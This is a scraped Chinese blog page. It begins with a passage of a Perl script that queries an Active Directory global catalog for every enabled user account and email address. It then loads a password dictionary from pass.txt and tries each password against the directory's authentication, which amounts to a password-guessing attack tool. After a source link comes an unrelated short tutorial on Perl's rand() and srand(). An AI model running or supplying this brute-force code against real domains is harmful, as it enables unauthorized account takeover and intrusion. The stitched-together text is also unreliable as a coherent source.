$objCommand -> {"ActiveConnection"} = $objConnection;
# search what and how
my $cmd = "select userAccountControl,distinguishedName,mail from 'GC://dc=bj,dc=microsoft,dc=com' where objectCategory='user'";
$objCommand -> {"CommandText"} = $cmd;
# import all users
$objCommand -> Properties -> {"Page Size"} = 1000;
# search all subtree
$objCommand -> Properties -> {"searchscope"} = ADS_SCOPE_SUBTREE;
my $objRecordSet = Win32::OLE->new( "ADODB.Recordset" );
$objRecordSet = $objCommand->Execute( ) || die "query data from active directory error,exitn";
while( not $objRecordSet -> eof )
{
my $intUAC = $objRecordSet -> Fields("userAccountControl") -> value;
# remove diable account
if( not ( $intUAC & ADS_UF_ACCOUNTDISABLE ) )
{
my $longName = $objRecordSet -> Fields("distinguishedName") -> value;
my $mail = $objRecordSet -> Fields("mail") -> value;
if( (!defined($mail)) or $mail eq "" )
{
$mail = "null";
}
if( $longName =~ /^CN=([w.-_]+),/ )
{
#print ."n";
my $userName = $1;
chomp( $mail );
chomp( $userName );
$users{$userName} = $mail;
}
}
$objRecordSet -> MoveNext();
}
}
sub LoadPwd
{
open( FH, "<pass.txt" ) || die "Open password dict error,exit!n";
@pwds = <FH>;
chomp( @pwds );
}
sub TestPwd
{
my $username = shift;
my $password = shift;
my $ad = Authen::Simple::ActiveDirectory -> new( host => $server, principal => $domain ) || die "Connected error: $!";
if ( $ad->authenticate( $username, $password ) )
{
return 1;
}
else
{
return 0;
}
}
from:http://www.neeao.com/Blog/article-5282.html
用Perl生成随机序列
Jul 10th
Perl利用函数rand()和srand()为随机数(更确切的说是“伪随机数”)字符串的生成提供了基本的工具。这些函数不是利用加密来提供安全性的,所以不要利用它们为你金融信息的加密。但是,如果你需要为你的下一个游戏或者动态Web网站的新特性设计一个简单的随机数生成器,那么rand()和srand()可能就是你所需要的。
函数rand()是真正的随机数生成器,而srand()会设置供rand()使用的随机数种子。函数rand()会返回一个处于0和你所指定的数值(缺省为1)之间的分数。如果你在第一次调用rand()之前没有调用srand(),那么系统会为你自动调用srand()。
要注意,使用同种子相同的数调用srand()会导致相同的随机数序列被生成。这在有的时候很方便,尤其在游戏编程里,你可能想要重复让随机事件按照精确的相同序列出现。
像下面这样使用rand():
print "Your lucky number for today is: " . int(rand(100) + 1) . " ";

最新评论